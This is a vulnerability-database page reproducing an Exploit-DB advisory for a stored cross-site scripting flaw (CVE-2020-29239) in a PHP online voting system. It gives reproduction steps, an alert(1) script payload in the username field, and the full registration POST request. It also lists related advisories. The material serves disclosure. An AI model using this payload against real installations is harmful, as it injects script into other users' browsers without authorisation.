Lucene search
+L

Online Voting System Project in PHP - 'username' Stored Cross-Site Scripting (XSS)

🗓️ 02 Dec 2020 00:00:00Reported by Sagar BanwaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 437 Views

Online Voting System PHP 'username' Persistent Cross-Site Scriptin

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2020-29239
2 Dec 202020:55
–circl
cnnvd
CNNVD
Online Birth Certificate System Cross-Site Scripting Vulnerability
2 Dec 202000:00
–cnnvd
cve
CVE
CVE-2020-29239
2 Dec 202016:37
–cve
cvelist
Cvelist
CVE-2020-29239
2 Dec 202016:37
–cvelist
euvd
EUVD
EUVD-2020-21618
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2020-29239
2 Dec 202017:15
–nvd
osv_cve
osv_cve
CVE-2020-29239
2 Dec 202017:15
–osv_cve
prion
Prion
Cross site scripting
2 Dec 202017:15
–prion
ptsecurity
Positive Technologies
PT-2020-17116 · Unknown · Online Birth Certificate System Project
2 Dec 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-29239: Improper Neutralization of Input During Web Page Generation
2 Dec 202000:00
–rapid7
Rows per page
# Exploit Title: Online Voting System Project in PHP - 'username' Persistent Cross-Site Scripting
# Date: 27-11-2020
# Exploit Author: Sagar Banwa
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/free-projects/php-projects/online-voting-system-project-in-php-2/
# Tested on: Windows 10/Kali Linux

Steps-To-Reproduce:

1. Go to register
2. Add the payload in Username : <script>alert(1)</script>
3. And complete the register
4. Login to the account

POST /vote/reg_action.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 593
Origin: http://localhost
Connection: close
Referer: http://localhost/vote/register.php
Cookie: PHPSESSID=1sqkq0u1m2j47906htd45opcep
Upgrade-Insecure-Requests: 1

firstname=user1&lastname=user2&username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=testtest&g-recaptcha-response=03AGdBq24TB5LilE4y9YCZx4I_XrKLBs2ftYrVEJ70_vhpDG-FXCKhzfB-EmAD-NnhKRSZ8_A88_ZNB4nXnwMBs8cU1Qgrqzs8Yme0Bmral8WRK1umGikJeDzliuigIKgZ6Q2Me9zGS-ecZyrujgF4tKSlMs3K_KNgVhEhlAsslrfBe7jQg40aG3PdMCXTTOst4Lt91vswl1G_dmYjrLEh7AfLJS7XYgXrEt4Pfau_mJ3KzE_hf-MxbpTI9_NkCLanUiW8-VI1t3uopUbSE9xH53X1cUExoe_dGpwnkygZw_4yEDp-iBYA73wql5ow1W43OIn5pmSBz_Sdv1VbfAqbFMEIXXJx4o5D_TLiVKLDQCj2Vy-fRmohlpYwV76NR5Iu2D693FKCs3KODRNSaitpOevSfcYh3h05vCGuPSO1fCu4c3v1daiIdFKPwDvfKS_Lm8jgoFK4kfnZ&submit=Next

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 24.3
CVSS 3.16.1
EPSS0.00461
437